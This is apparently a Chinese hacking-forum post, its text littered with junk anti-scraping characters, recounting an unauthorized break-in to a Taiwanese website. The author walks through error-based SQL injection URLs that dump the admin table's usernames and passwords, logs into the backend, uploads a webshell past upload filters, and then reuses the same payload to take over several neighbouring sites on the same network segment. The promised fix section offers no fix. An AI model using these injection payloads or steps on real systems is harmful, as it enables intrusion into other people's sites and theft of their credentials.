发现一个注入点
+ w/ p u+ A7 @, f# k# nhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
4 z* ]- u ^4 A5 h9 u# z2 P, X4 [" Y0 t# O; f8 a6 |6 Y( h1 G2 F
习惯性的加’having1=1--
9 K6 T: i3 W+ e. n5 h4 i8 Q5 _) w8 D2 K/ h
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
* s/ `4 v: ?1 Z: d3 p
# t0 L" l) a% Z9 @0 ]! y$ H3 U# f00 h/ O' C) \* F) p
$ j$ @) [/ c8 l) z$ J! ~* Y: ]爆出Diary_A.dl_Title(这时候很激动啊)# r- \. r' p; X" Q& \: y
6 r6 u c6 s% q5 a4 h& f; n& i那么继续: u$ w! k' l( d- g! t
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1— u' g+ B4 G) Q k- m! e3 ]! h+ ]
/ a9 W0 @+ q. `, |; Q+ ^继续,一直爆下去% Z. l/ r! Z9 p& H
& q7 E( h$ E" H$ }& ?. k, @& U3 V0 p! G
爆到几个字段和表段 但是没找到需要的管理用户的字段9 O/ ^! R7 l( y+ D3 V+ q
; Q' P; Q, d& H5 Q
蛋疼了 怎么办 然后去后台登陆页看源码- G, I6 H! a, t n
, ?( h8 R3 b/ `0
6 N0 \/ E7 t. D/ n# g d* G/ p: B( Z: I" _, @
Input name= “ADUID”; T7 X7 A, e4 p% T: b" e+ u& a
Input name= “ADPWD”7 L3 @/ j4 q8 i6 d2 Y
! b. h/ n: N f
很幸运 找到了字段那就继续* q( Z' Q4 B7 J: M
找到之后开始爆用户
3 C' U( H9 {- Q! S2 n. j, H/ hhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
7 S$ a2 `8 U. ]" i0 L( }爆密码
4 y" ?4 ^$ ?! s7 _6 khttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
" S5 d) E. X3 {6 J. ]测试了下 这个注入点只能爆到文章哪里的表
* @* o6 z/ U! @. d$ @5 i4 f# e& N
- b7 g* Z6 @9 Z: p; ^' P头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了! V# l- `/ @1 @ p: q d& \6 s5 Z! ^
3 U8 [& T* x: \
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了; s+ J6 d& R2 o- B
% b# j: S+ J+ S, r8 m9 i3 R! F* z
473
& R/ q6 A7 n; z
; V0 `/ q8 Z3 p3 Q {进后台
. n1 h- L! L3 G0 {6 I. R' R* D# ~# s \3 T4 b# F6 R( w
2 J/ V0 U4 \- c; k! M发现几个上传点 有的地方不能上传 而且防止恶意代码
* R. j& O4 X$ S9 T T3 E& {, f3 W% K1 ]* s& B& Y/ N
没办法 各种百度各种找大牛 找到一只好像可以突破的马
. v0 ^7 x7 J) {; |% j3 ^. z% g& m5 F. i8 E+ N7 x: I# F! K
E C) v1 L _/ x" }$ C" {在系统管理那里直接上传 不过没有显示地址
) p1 V! O( k [% ]3 s
0 ]- q' C5 Y" u7 A, L再上传一次 抓包 搞定OK
5 D4 ?/ I; D4 c s% s3 {: `3 W+ H- Q; E
" }& _. }* t* C5 F4 t3 v8 j9 w. H/ g- f
/ E5 _; c" K7 d4724 G7 [7 f7 v! t6 k5 N6 \' o
' \6 Q3 f3 J6 i% ~1 H3 i晚上不行了 去睡觉。。。
/ ]7 x1 ]5 \/ r. M& u, v第二天刚起床 闲的没事做继续日站吧 / P& l% P. \7 r0 \5 \: ?6 W
9 _( i# v& P8 s! \3 h* V
找个站 就把这个站的旁c扫了下1 t8 L) h2 C2 b1 P2 K5 B; n: m H
" c8 e9 h' Y( g1 p1 U' F) }& X发现c段也有一个购物站 ,然后还和这个站的模板差不多# }6 F) U: l ~, F0 z/ d: t" P
x3 |6 o0 j8 U就找到会员登录口测试
7 Q+ E/ n4 M* G$ Q* z4 V8 P
# G8 u; U3 G# T! _3 s'and (select top 1 MGR_UID from A_MGR)>0—7 e! s9 c. ~+ B$ _& f" x+ l) b
果断爆到了 这时候我很激动 通杀
3 j6 q! {: |: \" c: X- v. L" q/ x: @7 G* _0 Y$ S! ]
再次翻c段
, D* ?, T; l s* q- F# F9 P9 y5 }9 g, n2 C: D
翻出几个站 都成功拿下
& r1 M- `! ]+ }( t, }- f% S( M; D* A% \$ e
1 g+ N {8 X& P! r0 a
; Q. \* c% j# I修复方案:( _! w2 S( Q/ ^0 S; |
他们比我专业 ( u6 Z1 `& Z0 Z" |
, X- ~, q5 p8 K4 `% w q
1 @: E2 E. S0 z3 a# \! j5 z9 I4 W. Z2 Q( a6 W1 ~5 c
|